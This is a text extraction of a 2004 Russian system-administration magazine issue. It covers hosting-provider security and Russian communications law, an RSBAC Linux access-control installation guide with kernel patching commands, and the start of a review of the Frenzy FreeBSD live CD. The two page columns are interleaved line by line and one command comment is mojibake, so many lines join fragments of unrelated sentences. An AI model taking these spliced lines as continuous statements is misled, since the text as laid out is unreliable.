ственном сайте, для того, чтобы не нарушать действу- числе с использованием возможностей Провайдера по
ющее законодательство; круглосуточному мониторингу системы.
 не предпринимать действий, которые могут повлечь
за собой нанесение ущерба Провайдеру или иным се- Кроме того, обеспечение безопасности клиентов под-
тевым ресурсам при использовании доступа в Интер- разумевает для Провайдера проработку своих внутрен-
нет, включая попытки несанкционированного доступа. них вопросов, связанных с обеспечением собственной бе-
зопасности. В перечень можно включить следующие за-
Требования к Провайдеру обычно ограничиваются дачи:
необходимостью обеспечить конфиденциальность учет-  Установка и использование средств антивирусной за-
ных записей Абонента (но даже это не всегда). щиты.
В некоторых договорах Провайдер откровенно снима-  Проработка решений по обеспечению средствами за-
ет с себя любую ответственность за риски Абонента, ко- щиты от сканирования.
торому он организует все технические составляющие ра-  Возможность выполнения предварительной фильтра-
боты с Интернетом. Если попытаться перечислить возмож- ции трафика от спама в случае оказания услуги по раз-
ные риски, то основные из них следующие: мещению почтового сервера Абонента.
 недополученная прибыль и упущенная выгода, а так-  Пресечение возможностей несанкционированного до-
же любые косвенные убытки, понесенные Абонентом ступа к программному обеспечению и данным, кото-
в период использования или не использования услуг рые в совокупности обеспечивают работу веб-сайтов
Провайдера; и/или почтовых серверов клиентов.
 задержки, перебои в работе и невозможность полно-
ценного использования собственных ресурсов Абонен- При заключении договора услуг хостинга необходимо
та, происходящие прямо или косвенно по причине дей- обращать внимание на дополнительные моменты, такие как:
ствия или бездействия третьих лиц и/или неработос-  Максимальный срок восстановления работоспособно-
пособностью транспортно-информационных каналов, сти сайта Абонента в случаях аварий.
находящихся за пределами собственных ресурсов  Возможность проведения Абонентом процедур по те-
Провайдера; стированию надежности своего сайта.
 ошибки в программном обеспечении, наличие вредо-  Получение Абонентом (для возможности контроля) до-
носных компонентов в используемом на серверах Про- стоверной информации о функционировании соб-
вайдера и других серверах сети Интернет, если тако- ственного сайта, а также данных, которые связаны с
вое не разработано самим Провайдером. выполнением сторонами договорных обязательств.

№1(14), январь 2004 47


безопасность
В случаях заключения договоров по хостингу допол- Соответственно и производители сертифицированных
нительными гарантиями для обеих сторон могут стать белорусских продуктов столкнутся с трудностями распро-
моменты, связанные с дополнительной защитой своего странения своих систем безопасности на российском
бизнеса при использовании услуг страхования. рынке.
Не лишним будет упомянуть в данной статье про Уго-
Обзор нормативной базы ловный кодекс Российской Федерации 1996 года. Описа-
В настоящее время наличие у Провайдеров разрешения нию преступлений в сфере компьютерных технологий в
на оказание услуг хостинга не требует выполнения каких- этом документе выделен отдельный раздел. Статьи, ка-
либо мероприятий по обеспечению безопасности своих сающиеся компьютерных преступлений, могут в различ-
клиентов. В связи с этим, при жесткой конкуренции на ной степени затронуть проблемы недостаточной защи-
рынке хостинг-услуг, Провайдерам экономически не вы- щенности сайта клиента хостинг-провайдера при рассмот-
годно брать на себя дополнительные риски и в полной рении объективной стороны преступления, совершенно-
мере решать вопросы защищенности. Тем более что мало го при работе в сети Интернет.
кто из Абонентов при заключении договора поднимает На настоящее время имеется много вариантов дей-
тему об обеспечении необходимого уровня безопаснос- ствий злоумышленников в Интернете, которые могут быть
ти, а если такие вопросы и возникают, то речь идет боль- квалифицированы как уголовные преступления против
ше о качественной и надежной работе технологического собственности. Множество публикаций сообщают чита-
оборудования Провайдера. телям информацию о случаях нарушений систем защиты
7 июля 2003 г. в Российской Федерации был принят или нормальной работы ресурсов в Интернете. Сайты и
закон «О связи», который вступает в силу с 1 января 2004 корпоративные сети организаций подвергаются DDoS-
года и устанавливает правовые аспекты деятельности в атакам с прекращением работы владельца ресурса с Ин-
области связи. Если в законе «О связи» 1995 года не ого- тернетом на значительные сроки; изменяется содержи-
варивались вопросы, связанные с обеспечением безопас- мое сайтов; производится переадресация обращений к
ности при предоставлении услуг связи, то с 2004 года го- сайтам, осуществляющих платежные операции, на конт-
сударством за оператором связи закреплена обязанность ролируемые злоумышленниками ресурсы; имеются фак-
обеспечивать защиту средств и сооружений связи. Пере- ты откровенного вымогательства, когда шантажисты тре-
числим только те основные моменты нового закона, ко- буют выплату значительных сумм у владельцев интернет-
торые имеют отношение к тематике публикации. ресурсов за отказ от компьютерной атаки.
Статьи 7, 63, 70 обязывают владельцев предусматри- При этом при расследовании конкретных компьютер-
вать необходимость обеспечивать защиту средств связи ных преступлений, которые произошли с использовани-
и сооружений от несанкционированного доступа к ним. ем сети Интернет, может устанавливаться лицо, допус-
Согласно новому закону операторы связи должны обес- тившее преступную небрежность или легкомыслие. Если
печить соблюдение тайны связи. Кроме того, для услуг будет доказано, что объективной стороной преступления
связи в пределах мировых информационно-телекоммуни- стали деструктивные действия, исходившие с сайта Або-
кационных сетей на территории Российской Федерации нента, то лицом, которое устанавливает правосудие, мо-
является обязательным «обеспечение экономической, жет оказаться Провайдер либо Абонент (а возможно, и
общественной, оборонной, экологической, информацион- обеих договаривавшихся сторон), что повлечет за собой
ной и иных видов безопасности». определенные серьезные последствия.
В статьях 25 и 64 закона предусматривается ряд мер по
обеспечению оперативно-розыскной деятельности уполно- Заключение
моченных государственных органов, которые накладыва- Обеспечение безопасной работы с Интернетом является
ют определенные обязательства на операторов связи. серьезной задачей, однако внимание к этому вопросу на
По вопросам оценки уровня безопасности информа- уровне услуг, предоставляемых операторами связи, пока
ционных объектов широко применяется практика исполь- недостаточное. Необходимые задачи по обеспечению за-
зования известного международного стандарта ИСО/МЭК щиты информации при хостинг-услугах могут быть реше-
15408:1999 («Общие критерии»). В Российской Федера- ны только усилиями и желанием Провайдеров.
ции этот стандарт (аутентичный перевод) с 2002 года при- Принятие нового закона «О связи» Российской Феде-
нят в качестве государственного. Вопросы расширения рации в 2004 году должно подтолкнуть российских интер-
сотрудничества между странами СНГ, в том числе на рын- нет-провайдеров, а затем и провайдеров других стран СНГ
ке продуктов защиты информации, тесно связаны с уни- к цивилизованному решению вопросов защиты информа-
фикацией законодательства стран СНГ. Отметим, к при- ции и ресурсов своих клиентов, а также предусматривает
меру, что в Республике Беларусь документ, аналогичный контроль за исполнением необходимых требований со
российскому, действует в качестве предстандарта с 2001 стороны государства.
года. Однако отсутствие аутентичности белорусского Серьезное влияние на положительные сдвиги в области
стандарта подразумевает серьезные сложности для воз- защиты информации при работе с Интернетом могут ока-
можности применения механизмов автоматического «до- зать также те, кто пользуется услугами хостинга, так как на-
верия» в Беларуси заключениям по безопасности других личие на рынке спроса на безопасный хостинг может заста-
стран для систем, которые уже прошли проверку (в том вить провайдеров предпринять более активные шаги в воп-
числе в России) на соответствие мировому стандарту. росах обеспечения безопасности своих клиентов.

48
администрирование

RULE SET BASED ACCESS CONTROL


ДЛЯ LINUX

СЕРГЕЙ ЯРЕМЧУК

50
администрирование
Linux-системы, как многие другие в Unix-семействе, ной проблемы. Об одном из них я уже писал в статье о
имеют известный недостаток в управлении доступом. SELinux в майском номере журнала. В данной разработ-
Прежде всего это малое количество контролируемых ке использована Role-Based Access Control (RBAC) мо-
прав доступа, состоящих в разрешении чтения, записи дель доступа, позволяющая администратору определить
и возможности выполнения, и права эти можно устано- роли и объекты в системе, к которым эти роли могут об-
вить только для владельца файла, членов группы вла- ращаться. Достаточно сказать, что в новое ядро версии
дельца и всех остальных. Иногда очень трудно вмес- 2.6 данная технология включена по умолчанию. Но дан-
тить в предложенные ограничения даже пару десятков ное решение не обладает достаточной гибкостью, и его
человек, при этом требуются более широкие возмож- удобнее все-таки использовать для создания специали-
ности по описанию доступа к конкретному файлу. До- зированых решений. Второй проект, о котором уже го-
полнительно все программы, работающие от имени ворилось на страницах журнала, – LIDS, позволяющий
пользователя, имеют такие же права, как и сам поль- ограничить возможности пользователей (в том числе и
зователь, при этом совсем не учитывается важность root), но в некоторых вопросах только глобально, без «ин-
самого объекта и вообще сама необходимость работы дивидуального» подхода.
программы с ним. Сам пользователь файла решает, Сегодня пойдет речь о проекте RSBAC (Rule Set Based
являются ли данные файлы секретными или будут дос- Access Control), домашняя страница http://www.rsbac.org,
тупными остальным пользователям. Отсюда получает- который предлагает свой взгляд на решение проблемы
ся, что запущенная от имени суперпользователя про- разграничения доступа пользователей.
грамма имеет неограниченные возможности в системе
и доступ к любому объекту (эту модель еще называют Архитектура RSBAC
одноуровневой). Все хорошо, пока она не скомпроме- RSBAC представляет собой гибкую, мощную и откры-
тирована, и тогда такое упрощение становится уже тую модель управления доступа для ядра Linux, первая
большим недостатком. Такая модель доступа называ- устойчивая версия 1.0.9а появилась на свет в январе
ется Discretionary Access Control (DAC) и позволяет со- 2000 года. Сам проект полностью не зависим от прави-
здавать системы, защищенные по классу С1. тельств и больших компаний и разрабатывается по ли-
Естественно, сложившаяся ситуация не могла остать- цензии GPL. Базируется RSBAC на архитектуре GFAC
ся нерешенной и было начато несколько различных про- (Generalized Framework for Access Control Approach),
ектов, в которых предлагался свой вариант решения дан- предложенной Abrams и LaPadula. Основной особеннос-

№1(14), январь 2004 51


администрирование
тью предложенной системы была блочная структура, ли для осуществления конфиденциальности, но ее весь-
при которой каждый модуль реализует свою собствен- ма трудно использовать в типичной Unix-среде, так как
ную модель защиты, что позволяет более гибко их ис- придется описывать большое количество правил для каж-
пользовать, отключая или включая нужный, и исполь- дого пользователя и программы. Возможен упрощенный
зовать одновременно несколько разных моделей защи- вариант RSBAC MAC-Light.
ты без конфликтов и противоречий между ними. Со- FC – Functional Control. Простая роль-основанная мо-
гласно подходу GFAC, предполагается разделение на дель, которая может использоваться, чтобы ограничить
три основных функциональных блока: AEF (Access доступ к информации о безопасности. При этом каждо-
Enforcement Facility) модуль, транслирующий системные му пользователю назначается определенная роль (офи-
вызовы в запросы на доступ, ADF (Access Decision цер безопасности, системный администратор, обычный
Facility) осуществляет принятие решения и возвраща- пользователь), а каждому объекту в свою очередь на-
ет ответ (или ошибку), который при помощи модуля ACI значается категория (системный, секретный объект).
(Access Control Information) транслируется в системный Офицер безопасности определяет, какой роли можно об-
вызов. Также и в RSBAC система управления доступа ращаться к какой категории. Сейчас полностью вытес-
ядром разделена на AEF- и ADF-компоненты и модуль нена RC-моделью, параметры по умолчанию которой
ACI, все компоненты при этом жестко связаны в ядре. очень похожи на FC.
Сам ADF может состоять из нескольких модулей поли- SIM – Security Information Modification. Эта ролевая
тик защиты, каждый из которых может подключаться/ модель контролирует доступ к данным типа защитная
отключаться динамически, по мере необходимости информация. Доступ на запись к этим объектам могут
обеспечивая требуемые задачи и гибкость в конфигу- получить только пользователи с ролью офицера безо-
рировании. В текущей версии 1.2.2 в комплекте имеет- пасности. Сейчас полностью может быть заменена RC-
ся 12 модулей, реализующих восемь политик: моделью.
MAC – Mandatory Access Control, разработанная в 1973 PM – Privacy Model. Модель секретности Симон Фи-
году модель Bell La Padula. В системе выделяется множе- шер-Хубнера. Контролируемые данные могут быть за-
ство объектов и множество субьектов, субъекты пытают- щищены, только если они будут объявлены как персо-
ся получить доступ к объектам, а система позволяет или нальные данные, поэтому может быть использована для
не позволяет им это. Ее рекомендуется использовать, хранения и обработки персональных данных, для сис-
когда вы нуждаетесь в концептуально доказанной моде- темных данных должна использоваться другая модель.

52
администрирование
MS – Malware Scan. Это не совсем модель контроля рый может быть, но необязательно, реализован как мо-
доступа, MS представляет собой средство предотвраще- дуль ядра Linux. Он допускает регистрацию для всех уме-
ния заражения инфицированным кодом. Сейчас по при- стных запросов к коду решения так же, как для запросов
чине малого количества вирусов представляет собой де- обслуживания к выполнению структуры данных. Приме-
монстрационную модель. ры модуля ядра можно найти в rsbac/adf/reg/adf_sample*.c.
FF – File Flags. Модель определяет некоторые флаги Разработчики уверяют, что RSBAC был проверен с мно-
доступа к файлам, которые может изменять лишь пользо- гими параметрами конфигурации ядра и другими патча-
ватель с system_role «security officer». Это execute_only ми, хотя стопроцентной гарантии не дают, но поддержи-
(files), read_only (files и dirs), search_only (dirs), ваются такие патчи, направленные на повышение защи-
secure_delete (files), no_execute (files), add_inherited (files ты, как FreeS/WAN, OpenWall и GRSecurity. Из приложе-
и dirs), no_rename_or_delete (files и dirs, no inheritance) и ний поддерживаются практически все, направленные на
append_only (files и dirs). серверные решения (samba, bind, qmail, postfix), VNC,
RC – Role Compatibility. Роль-основанная модель, при (Open)SSH и даже X-Window (для поддержки последней
которой каждый пользователь имеет заданную по умол- необходимо включить опцию X support), что позволяет
чанию роль, которая наследуется всеми его процесса- использовать данную систему на клиентских компьюте-
ми. На основании текущей роли доступ к объектам не- рах. Независимость реализации от конкректной файло-
которых типов будет предоставлен или отклонен. Роль вой системы означает нормальную работу в любой из
может быть изменена со сменой владельца процесса, поддерживаемых Linux: minix, ext2/3fs, ReiserFS (без про-
процессом через системный вызов (только «совмести- верки номера inode и secure_delete), xfs и vfat (хотя ис-
мые» роли) или выполнением специально отмеченной пользовать последнюю и первую по крайней мере несе-
выполнимой программы (использованием initial_role или рьезно). Из дополнительных возможностей следует от-
force_role). метить поддержку SMP (что позволяет использовать на
AUTH – Authorization Enforcement. Можно рассматри- мощных серверах), loopback mounts (для шифрования).
вать как модуль поддержки, который контролирует вы-
зов смены владельцев для процессов (CHANGE_OWNER) Установка
и разрешает смену процессам только с разрешенными Для работы нам понадобятся:
uid и если при этом процесс имеет установленный флаг  дополнительные расширения к ядру: rsbac-*.tar.gz;
auth_may_setuid.  патч к ядру: patch-*.gz;
ACL – Access Control Lists. Списки контроля доступа,  утилиты администрирования: rsbac-admin-*.tar.gz.
определяющие, какой субъект (пользователь, роль RC
или группа ACL) может иметь доступ к какому объекту и А также само ядро с ftp.kernel.org, хотя можно обой-
с каким запросом (обычные запросы RSBAC или специ- тись и без самостоятельного наложения патча, а взять уже
альные ACL). готовое ядро с ftp://rsbac.cz/mirrors/rsbac.org/kernels/. Из
САР – Linux Capabilities. Для всех пользователей и уже подготовленных ядер имеются версии ветки 2.2, 2.4
программ можно определять минимальный и макси- и современные 2.6-test, так что выбирать тоже есть из
мальный набор возможностей Linux («возможность ус- чего. Мы же будем рассматривать все с самого начала,
тановки специального права root»). При этом парамет- хотя здесь нет чего-то особенного. Единственное, на что
ры настройки программы отменяют параметры настрой- необходимо обратить внимание, – соответствие версий
ки пользователя, и минимальные настройки отменяют патча версии ядра и версий расширения к ядру и утилиты
максимальные параметры настроек. Это позволяет вы- администрирования, т.е. в обозначении, например, тако-
полнять программы сервера от имени обычного пользо- го патча patch-2.4.22-v1.2.2.gz, первые цифры 2.4.22 оз-
вателя или ограничивать права программ с установлен- начают ядро, а 1.2.2 – версию расширений.
ным suid. Это единственный модуль RSBAC, который Распаковываем архив с ядром.
непосредственно сталкивается с существующим управ-
лением доступа Linux. # tar xvjf linux-2.4.22.tar.bz2
JAIL – Process Jails. Этот модуль добавляет новый
системный вызов rsbac_jail, который делает запрос Переходим в образовавшийся каталог.
chroot и добавляет дальнейшие ограничения на процесс
запроса и все подпроцессы. Все jail-процессы можно # cd linux
найти в /proc/rsbac-info/jails (при включенном RSBAC
proc support). Распаковываем остальные архивы и накладываем на
RES – Linux Resources. Для всех пользователей и ядро патч.
программ определяется минимальный и максимальный
Linux-набор ресурсов процессов (например, размер па- # tar xvjf ../rsbac-v1.2.2.tar.bz2
мяти, число открытых файлов, число процессов пользо-
вателя). Примечание: в старых версиях утилиты (до 1.0.9a)
Кроме встроенных моделей, имеется модуль REG можно найти патчи также и внутри этого архива.
(Module Registration), обеспечивающий интерфейс для ре-
гистрации вашего собственного модуля решения, кото- # gzip -dc ../patch-2.4.22-v1.2.2.gz | patch -p1

№1(14), январь 2004 53


администрирование
Это обязательная программа, т.к. при работе пользо- максимально возможная потеря производительности
ватели часто сталкиваются с ошибками, все исправле- составляет меньше 10 процентов. Например, я исполь-
ния которых представлены в bugfixes. Поэтому имеет зую модули auth, MAC, RC и ACL. Хотя в некоторых слу-
смысл ознакомиться с ними и пропатчить ядро для их ус- чаях бывает достаточно PM или FF. Для каждого обя-
транения. зательно включите параметр «имя_модуля protection for
AUTH module», остальные, как правило, можно и не
# wget -c http://www.rsbac.org/bugfixes/rsbac-bugfix-v1.2.1-1.diff трогать.
# patch -p1 < rsbac-bugfix-v1.2.1-1.diff
Чтобы получить новое расширение -rsbac вводим:
И теперь конфигурируем ядро:
# touch Makefile
# make menuconfig
И компилируем ядро:
При этом в меню появляется еще один пункт, назван-
ный «Rule Set Based Access Control», активировав ко- #make dep bzImage modules modules_install
торый, можно получить компьютер, защищенный по
классу В1. Большинство опций документированы, ос- Копируем получившееся ядро в /boot и конфигуриру-
тановлюсь лишь на интересных. Для изучения незаме- ем загрузчик.
нимой является опция RSBAC soft mode, позволяющая До версии 1.0.9b перед загрузкой с новым ядром не-
отключать режим управления доступом при загрузке, обходимо было обязательно установить утилиты адми-
передавая параметр ядру rsbac_softmode (просмотреть нистрирования rsbac-admin, при этом создавался ката-
текущий режим можно, прочитав /proc/rsbac-info/ лог /rsbac для каждой примонтированной файловой сис-
{stats|debug}). При серьезных проблемах, когда нельзя темы со специальным файлом useraci. Сейчас данный ка-
добраться до системы вообще, может понадобиться талог автоматически создается ядром, а при отсутствии
ядро с включенным параметром «RSBAC maintenance файла useraci используются настройки по умолчанию.
kernel» (CONFIG_RSBAC_MAINT), в котором отключа- Но почему бы не установить утилиты сейчас. Для это-
ются все RSBAC-модули (чтобы избежать проблем при го распаковываем их в любой каталог.
обслуживании, лучше отключить поддержку сети в та-
ком ядре). При включенной опции «RSBAC proc support» # tar xvzf rsbac-admin-v1.2.2.tar.gz.
# cd rsbac-admin-v1.2.2
в каталоге /proc появляется подкаталог rsbac-info, со- # ./configure (åñëè èñïîëüçóåòñÿ ÿäðî, íàõîäÿùååñÿ â êàòàëîãå,
держащий статистику по работе RSBAC (подробнее в îòëè÷íîì îò /usr/src/linux, åãî ìåñòîíàõîæäåíèå óêàçûâàåì
ïðè ïîìîùè –with-kerneldir)
README-proc) и позволяющий читать и записывать па- # make && make install
раметры некоторых настроек, но после проведения эк-
спериментов все же лучше данный параметр отключить, Примечание: для работы очень желательна утилита
зачем давать нападающему лишнюю информацию об dialog не ниже версии 0.9, ее взять можно тут же на
используемой защите. Опция Inherit as default http://www.rsbac.org/dialog/dialog-0.9b-20020814.tar.gz.
(CONFIG_RSBAC_DEF_INHERIT) позволяет автомати- И теперь нужно создать две дополнительные учет-
чески наследовать файлам и каталогам дополнитель- ные записи. Первая – офицер безопасности – secoff
ные параметры вроде security_level, data_type. Опция (security officer/RC role admin/ACL Supervisor), и в файле
Support secure delete (CONFIG_RSBAC_SECDEL) позво- /etc/passwd установить его uid равным 400. И если вы
лит удалять файлы безвозвратно, в настоящее время будете использовать модуль privacy module (PM), то и
безопасное удаление поддерживают только модули FF офицер защиты информации – dataprot (data protection
(файлы, помеченные как ff_flag secure_delete) и PM (для officer) с uid 401. Которые теперь понадобятся для адми-
файлов, помеченных как personal data), при этом остав- нистрирования – root уже не будет достаточно. При
шееся место заполняется нулями, поддерживаются фай- необходимоcти изменить заданные по умолчанию числа
ловые системы ext2, minix, msdos и vfat, включение дан- uid, это можно сделать в макросах RSBAC_SECOFF_UID
ной опции несколько замедляет работу файловой сис- и RSBAC_DATAPROT_UID в include/rsbac/types.h. Или при
темы. RSBAC extra statistics (CONFIG_RSBAC_XSTATS) конфигурировании ядра в соответствующих опциях.
появляется дополнительная статистическая информа-
ция, которую можно прочесть в /proc/rsbac-info/xstats.
Log full path позволит заносить полное имя файла в
журнал, иначе в нем будет прописано только имя фай-
ла, доступ к которому протоколируется. Для работы нео-
бязательно включать все модули, оставьте те, которые
вам действительно нужны, остальные не трогайте, так
как использование RSBAC, естественно, влияет на про-
изводительность системы, и чем больше будет прове-
рок, тем больше это будет сказываться на общей про-
изводительности. По результатам тестов, которые мож-
но посмотреть на http://www.rsbac.org/benchmark.htm,

54
администрирование
Все теперь готово для первой загрузки, при которой Oct 31 22:58:13 stas kernel: rsbac_adf_request(): request
CHANGE_OWNER, caller_pid 89, caller_prog_name sendmail,
система выдаст большое количество сообщений о не- caller_uid 0, target-type PROCESS, tid 89, attr owner, value
возможности запуска тех или иных сервисов. Интерес- 15, result NOT_GRANTED by AUTH
но, что теперь в систему может попасть пока только root,
и все потому, что программа входа в систему /bin/login В которых говорится, что процесс с именем sendmail бе-
имеет недостаточные права изменить владельца процес- зуспешно пытался сменить (CHANGE_OWNER) свой те-
са (setuid). Но root в данном случае уже абсолютно бес- кущий uid с 0 на value 15 и получил от ворот поворот от
полезен, он может по-прежнему запускать сервисы, мон- AUTH. Теперь осталось добавить uid 15 в список
тировать диски, т.е. заниматься непосредственно адми- auth_capabilities для программы sendmail, после чего про-
нистрированием системы, а вот изменить доступ к про- блем с его запуском уже не будет.
граммам уже не может. Все это теперь возложено на пле- Теперь для полноценной работы давайте познакомим-
чи совсем другого пользователя – secoff. Причем сме- ся с возможностями некоторых модулей поподробнее.
нить root на этого пользователя тоже не удастся.
Модуль FF
bash-2.05b# su secoff Нравится мне своей простотой и возможностями одно-
setuid: Operation not permitted
временно. Его удобно использовать, когда необходимо
Для того чтобы разрешить смену uid, загружаемся с просто добавить некоторые дополнительные флаги для
параметром rsbac_auth_enable_login (все остальные пара- файлов, каталогов и каналов FIFO, глобально для всех
метры описаны в файле README-kernparam). Устанавли- пользователей, не сильно утруждая себя работой с более
вать параметры файлов можно при помощи команд (выз- сложными моделями. При включении данного модуля по-
ванные без параметров, они выдают справку) или, что бо- является возможность установить еще деcять дополни-
лее наглядно, при помощи меню. Первоначально меню тельных параметров:
можно сконфигурировать, используя rsbac_settings_menu.  execute_only – (для FILE, FIFO, SYMLINK) возможно
Теперь устанавливаем параметры файла /bin/login и не- только исполнение;
запустившихся демонов, для этого используем команду  search_only – (DIR) обеспечивается полное закрытие
rsbac_fd_menu имя_программы или rsbac_menu и далее каталога от проникновения;
выбираем нужный файл. Обратите внимание, сколько по-  read_only – (FILE, FIFO, SYMLINK, DIR) возможно толь-
явилось дополнительных параметров у файлов, но ра- ко чтение;
ботают только те, которые соответствуют запущенным  write_only – (FILE, FIFO, SYMLINK) возможна только
модулям. За сменой uid, как вы помните, следит модуль запись (но не чтение), применив данный флаг к ка-
auth, для того чтобы этот модуль «не замечал» смену талогу /var/log, в котором находятся файлы журна-
uid процессом на любой, у него должен быть установлен лов, при наследовании (см. ниже) мы не сможем их
параметр auth_may_setuid, установку которого и надо прочесть;
проконтролировать для /bin/login, после чего уже можно  secure_delete – (FILE) безопасное урезание и удале-
загружаться и входить в систему в обычном режиме. Для ние, при котором освобожденное место заполняется
демонов же лучшим вариантом будет жестко зафикси- нулями (только для ext2, ext3, msdos/vfat, minix);
ровать uid, на которые может переходить процесс, запу-  no_execute – (FILE) возможно что угодно, только не вы-
щенный от его имени. Для этой цели воспользуемся па- полнение, назначив этот флаг на пользовательский
раметром auth_capabilities, который позволяет задать каталог /home, мы лишим их возможности запуска сво-
список (или диапазон) допустимых uid, на которые мо- их программ;
жет переходить программа. А узнать, какой uid требует-  no_delete_or_rename – (FILE, FIFO, SYMLINK, DIR)
ся каким процессам, очень просто, открываем под root нельзя удалять или переименовывать отмеченные та-
системные логи (secoff туда не пускают) и ищем подоб- ким образом файлы и каталоги;
ные сообщения:  append_only – (FILE, FIFO, SYMLINK) доступ на запись
ограничен только APPEND_OPEN и WRITE, на чтение
доступ разрешен, установив данный флаг на каталог
с файлами журналов, вы сможете дописывать в них
информацию и читать;
 add_inherited – (FILE, FIFO, SYMLINK, DIR) если уста-
новлен, то к собственным флагам объекта будут до-
бавлены и флаги родительского каталога, при этом
он включен по умолчанию для всех, кроме флагов
no_delete_or_rename и add_inherited, которые всегда
должны быть установлены явно;
 no_mount – запрещает монтировать устройство.

Эти флажки проверяются при каждом доступе к дан-


ным целевым типам, и только пользователи в sys-
tem_role «security officer» могут изменять флажки. Ат-

№1(14), январь 2004 55


администрирование
 READ – чтение;
 READ_ATTRIBUTE – чтение атрибутов RSBAC;
 READ_WRITE_OPEN – открыть для чтения и записи;
 READ_OPEN – открыть для чтения;
 RENAME – переименование;
 SEARCH – поиск;
 TRUNCATE – усечение файла;
 UMOUNT – размонтирование файловой системы;
 WRITE – разрешена запись;
 WRITE_OPEN – разрешено открытие файла для записи;
 MAP_EXEC – выполнение.

рибуты независимы друг от друга и разграничены, т.е.


все атрибуты, которые установлены, будут применены,
например, execute_only и no_execute вместе (или
read_only и write_only) не ведут ни к какому доступу.
Или, установив на каталоге флаги search_only и
execute_only, вы можете производить поиск файлов (не
чтение) в каталоге и запускать файлы на выполнение,
и больше ничего. Имеет смысл установить для катало-
гов /sbin, /bin, /usr/sbin, /usr/bin и других, содержащих
исполняемые файлы, флаги search_only и read_only,
позволим тем самым обращаться к файлам, зная пол-
ный путь и запретив изменять находящиеся внутри
файлы, или, имея только двоичные файлы, установить Это для обычных файлов и каталогов, для процессов
для них флаг execute_only, позволив лишь только за- и сетевых устройств есть и специфические параметры:
пуск на исполнение и ничего более и защитив их от  ADD_TO_KERNEL – добавлять модуль в ядро;
подделки. По-моему, по сравнению со стандартной мо-  ALTER – изменить контрольную информацию для IPC;
делью у сисадминов появилось больше возможности  CHANGE_GROUP – сменить группу;
контролировать доступ. Но, например, если необходи-  CLONE – клонировать процесс (fork/clone);
мо контролировать доступ с точностью до миллиметра,  REMOVE_FROM_KERNEL – удалить модуль из ядра ;
этого будет явно недостаточно, в этом случае в самый  MODIFY_SYSTEM_DATA – изменить системные данные;
раз придется следующий модуль.  SEND_SIGNAL – послать сигнал;
 SHUTDOWN – остановка или перезагрузка системы;
Модуль ACL  SWITCH_LOG – изменять параметры протоколирова-
Заходим в пункт меню «ACL Menu: Go to ACL menu», где ния RSBAC;
переходим к «Change Mask». А теперь для каждого файла  SWITCH_MODULE – включать и выключать модули;
можно выбрать еще 25 параметров, причем можно отдель-  TERMINATE – запрос на окончание процесса (exit());
ным пунктом включить сразу все относящиеся к security  TRACE – трассировка процесса (ptrace());
или системным параметрам:  BIND – связать сетевой адрес и порт с локальным со-
 APPEND_OPEN – открывать для добавления; кетом или сетевым устройством;
 CHANGE_OWNER – сменить владельца;
 CHDIR – сменить рабочий каталог;
 CLOSE – запрос на закрытие;
 CREATE – запрос на создание;
 DELETE – запрос на удаление;
 EXECUTE – запрос на запуск;
 GET_PERMISIONS_DATA – прочитать права Unix (mode);
 GET_STATUS_DATA – получить информацию о файле
(stat() и пр.);
 LINK_HARD – создать жесткую ссылку;
 MODIFY_ACCESS_DATA – изменить информацию о
времени доступа; время, дата (utimes ());
 MODIFY_ATTRIBUTE – изменить атрибуты RSBAC;
 MODIFY_PERMISSIONS_DATA – изменить права UNIX;
 MOUNT – монтирование файловой системы;

56
администрирование
 LISTEN – слушать локальный сокет listen(); Остальные модули разбирать, пожалуй, сейчас не бу-
 ACCEPT – прием подключения от сети accept(); дем. Но из всего рассказанного должно быть понятно,
 CONNECT – соединение с удаленной сетью connect(); что технология RSBAC позволяет избавиться от тради-
 SEND – посылка сообщения удаленной сети send(); ционных недостатков Unix-систем, тем самым суще-
 RECEIVE – получение сообщения от удаленной сети ственно поднять уровень защиты и задавать индивиду-
recv(); альные параметры для каждого пользователя и объекта
 NET_SHUTDOWN – остановка локального socket. доступа. На данный момент технология RSBAC приме-
няется в четырех дистрибутивах: ALTLinux Castle (http://
Теперь, выбрав какой-нибудь каталог, устанавливаем castle.altlinux.ru/), Kaladix (http://www.kaladix.org/), Trusted
на него необходимые атрибуты. Эти атрибуты будут дей- Debian (http://www.trusteddebian.org/) и базирующийся на
ствовать на всех пользователей. А для того чтобы предо- Debian LiveCD, который можно найти на сайте (http://
ставить исключительные права на созданный каталог или livecd.rsbac.org/). Последний позволяет познакомиться с
файл отдельному пользователю или группе пользовате- данной технологией, не устанавливая все на жесткий
лей, выбираем пункт «Add ACL Entry:Add group, role or user диск. Кроме множества документации, имеющейся на
entry», где выбираем пользователя из списка (или созда- www.rsbac.org, по-русски можно прочитать в статье од-
ем отдельную ACL group), и для него появляется свой спи- ного из разработчиков RSBAC Станислава Иевлева
сок атрибутов для данного объекта. Таким образом мож- «RSBAC для начинающих» (http://linux.ru.net/~inger/
но установить параметры с любой точностью. RSBAC-DOC.html).

№1(14), январь 2004 57


администрирование

БЕЗУМНЫЙ ЧЕРТЕНОК

О Frenzy (пер. с англ. – безумие) я узнал из новостей портала www.opennet.ru


(http://www.opennet.ru/openforum/vsluhforumID3/2341.html).
Этот проект меня заинтересовал. Так что же это такое?

АЛЕКСАНДР БАЙРАК

58
администрирование
Процитирую разработчика: «Целью проекта Frenzy являет- 00100 allow ip from any to any via lo0
ся создание «портативного инструмента системного адми- 00200 deny ip from any to 127.0.0.0/8
00300 deny ip from 127.0.0.0/8 to any
нистратора» на базе ОС FreeBSD (FreeBSD 4.8-STABLE – 65000 allow ip from any to any
прим. авт.), который было бы удобно постоянно иметь при
себе. Frenzy представляет собой загрузочный mini-CD (раз- Сначала меня несколько смутило такое положение ве-
мер 3.5", объем 185 Мб), загрузившись с которого, адми- щей, потому как я придерживаюсь принципа – «сначала
нистратор получает полностью работоспособную систему все закрыть, а потом открыть то, что нужно для работы»,
с набором программного обеспечения для настройки, про- но, с другой стороны, в Frenzy по умолчанию не запуска-
верки и анализа сети, тестирования компьютерного «же- ется ни одного сетевого сервиса, отсюда следует, что в
леза» и ряда других задач». Как тут не заинтересоваться? основном все соединения будут исходящие. В случае если
Системные требования более чем обрадовали: для нор- firewall закрывал все по умолчанию, сразу после загрузки
мальной работы нужен компьютер на базе Pentium I и выше, пришлось бы лезть править настройки, чтоб, например,
64 Мб ram (в новой верcии планируется обеспечить работу протестировать сеть или что-либо списать. При загрузке
и на 32 Мб) CD-ROM, даже HDD не требуется. системы в памяти создаются memory-диски для разме-
Полный решимости немедленно проверить, так ли это щения разделов /dev (4 Мб), /etc (1 Мб), /var (16 Мб), /mnt
